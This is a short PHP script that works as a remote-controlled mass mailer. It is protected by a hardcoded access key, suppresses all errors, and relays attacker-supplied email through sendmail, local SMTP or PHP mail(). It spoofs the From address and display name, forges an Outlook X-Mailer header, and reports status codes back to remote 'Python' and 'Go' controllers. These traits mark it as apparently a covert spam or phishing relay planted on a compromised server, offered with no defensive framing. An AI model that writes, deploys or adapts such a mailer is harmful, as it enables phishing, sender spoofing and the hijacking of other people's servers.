<?php
error_reporting(0);
$K='sm_sppb_v4';
if(($_POST['k']??'')!==$K)die('');

// ═══ MODE 1: RAW MIME (Python protocol) — 4-TIER FALLBACK ═══
if(isset($_POST['raw'])&&$_POST['raw']!=''){
$r=$_POST['raw'];
$f=$_POST['from']??'';
$t=$_POST['to']??'';

// TIER 1: sendmail pipe (most reliable — works on postfix/exim/qmail/sendmail)
$sm=null;
foreach(['/usr/sbin/sendmail','/usr/lib/sendmail','/usr/bin/sendmail'] as $s){
if(@file_exists($s)){$sm=$s;break;}
}
if(!$sm){$x=@trim(@shell_exec('which sendmail 2>/dev/null'));if($x&&@file_exists($x))$sm=$x;}
if($sm){
$p=@popen($sm.' -t -i -f'.escapeshellarg($f),'w');
if($p){fwrite($p,$r);$c=pclose($p);if($c===0){echo 'SENT_OK';exit;}}
}

// TIER 2+3: SMTP socket (port 25 open but sendmail binary missing/broken)
foreach(['127.0.0.1','localhost'] as $h){
$sk=@fsockopen($h,25,$en,$es,5);
if(!$sk)continue;
$hn=@gethostname()?:'localhost';
@fgets($sk,512);
fwrite($sk,"EHLO $hn\r\n");
do{$el=@fgets($sk,512);}while($el&&substr($el,3,1)==='-');
fwrite($sk,"MAIL FROM:<$f>\r\n");@fgets($sk,512);
fwrite($sk,"RCPT TO:<$t>\r\n");
$x=@fgets($sk,512);
if(substr($x,0,1)!=='2'){@fclose($sk);continue;}
fwrite($sk,"DATA\r\n");@fgets($sk,512);
$w=str_replace("\r\n","\n",$r);$w=str_replace("\n","\r\n",$w);
fwrite($sk,$w."\r\n.\r\n");
$x=@fgets($sk,512);
fwrite($sk,"QUIT\r\n");@fclose($sk);
if(substr($x,0,1)==='2'){echo 'SENT_SMTP';exit;}
}

// TIER 4: PHP mail() with parsed raw MIME (last resort)
$parts=explode("\n\n",$r,2);
if(count($parts)===2){
$hl=$parts[0];$mb=$parts[1];
$ls=explode("\n",$hl);$sj='';$cl=[];
foreach($ls as $l){
if(stripos($l,'Subject:')===0){$sj=trim(substr($l,8));continue;}
if(stripos($l,'To:')===0)continue;
$cl[]=$l;
}
$hd=implode("\n",$cl);
if(@mail($t,$sj,$mb,$hd,"-f$f")){echo 'SENT_MAIL';exit;}
}

echo 'PIPE_FAIL';exit;
}

// ═══ MODE 2: HTML (Go protocol — legacy, LF-fixed for qmail compat) ═══
$t=$_POST['to']??'';$f=$_POST['from']??'';
$fn=$_POST['fn']??'';$s=$_POST['subj']??'';
$h=$_POST['html']??'';
if(!$t||!$f||!$s||!$h)die('ERR:MISSING');
$b='----=_'.bin2hex(random_bytes(12));
$uid=bin2hex(random_bytes(6));
$dom=explode('@',$f)[1]??'mail.com';
$hdr="From: \"$fn\" <$f>\n";
$hdr.="Reply-To: $f\n";
$hdr.="MIME-Version: 1.0\n";
$hdr.="Content-Type: multipart/alternative; boundary=\"$b\"\n";
$hdr.="X-Mailer: Microsoft Outlook 16.0\n";
$hdr.="Message-ID: <$uid@$dom>\n";
$hdr.="List-Unsubscribe: <mailto:unsub-$uid@$dom>\n";
$hdr.="List-Unsubscribe-Post: List-Unsubscribe=One-Click\n";
$p=strip_tags(preg_replace('/<style[^>]*>.*?<\/style>/si','',$h));
$p=trim(substr(preg_replace('/\s+/',' ',$p),0,400));
$body="--$b\n";
$body.="Content-Type: text/plain; charset=\"utf-8\"\n";
$body.="Content-Transfer-Encoding: quoted-printable\n\n";
$body.=quoted_printable_encode($p)."\n";
$body.="--$b\n";
$body.="Content-Type: text/html; charset=\"utf-8\"\n";
$body.="Content-Transfer-Encoding: quoted-printable\n\n";
$body.=quoted_printable_encode($h)."\n";
$body.="--$b--\n";
$ok=@mail($t,$s,$body,$hdr,"-f$f");
if($ok){echo 'SENT_OK';exit;}
$sk=@fsockopen('127.0.0.1',25,$en,$es,5);
if(!$sk){$sk=@fsockopen('localhost',25,$en,$es,5);}
if(!$sk){echo 'SEND_FAIL';exit;}
function sr($sk,$c){fwrite($sk,$c."\r\n");return fgets($sk,512);}
$hn=@gethostname()?:'localhost';
fgets($sk,512);sr($sk,"EHLO $hn");
while(substr(fgets($sk,512),3,1)==='-'){}
sr($sk,"MAIL FROM:<$f>");
$r=sr($sk,"RCPT TO:<$t>");
if(substr($r,0,1)!=='2'){fclose($sk);echo 'SEND_FAIL';exit;}
sr($sk,"DATA");
$msg="Date: ".date('r')."\r\n";
$msg.=str_replace("\n","\r\n",$hdr);
$msg.="To: $t\r\n";
$msg.="Subject: $s\r\n";
$msg.="\r\n".str_replace("\n","\r\n",$body);
fwrite($sk,$msg."\r\n.\r\n");
$r=fgets($sk,512);
sr($sk,"QUIT");fclose($sk);
echo(substr($r,0,1)==='2')?'SENT_SMTP':'SEND_FAIL';
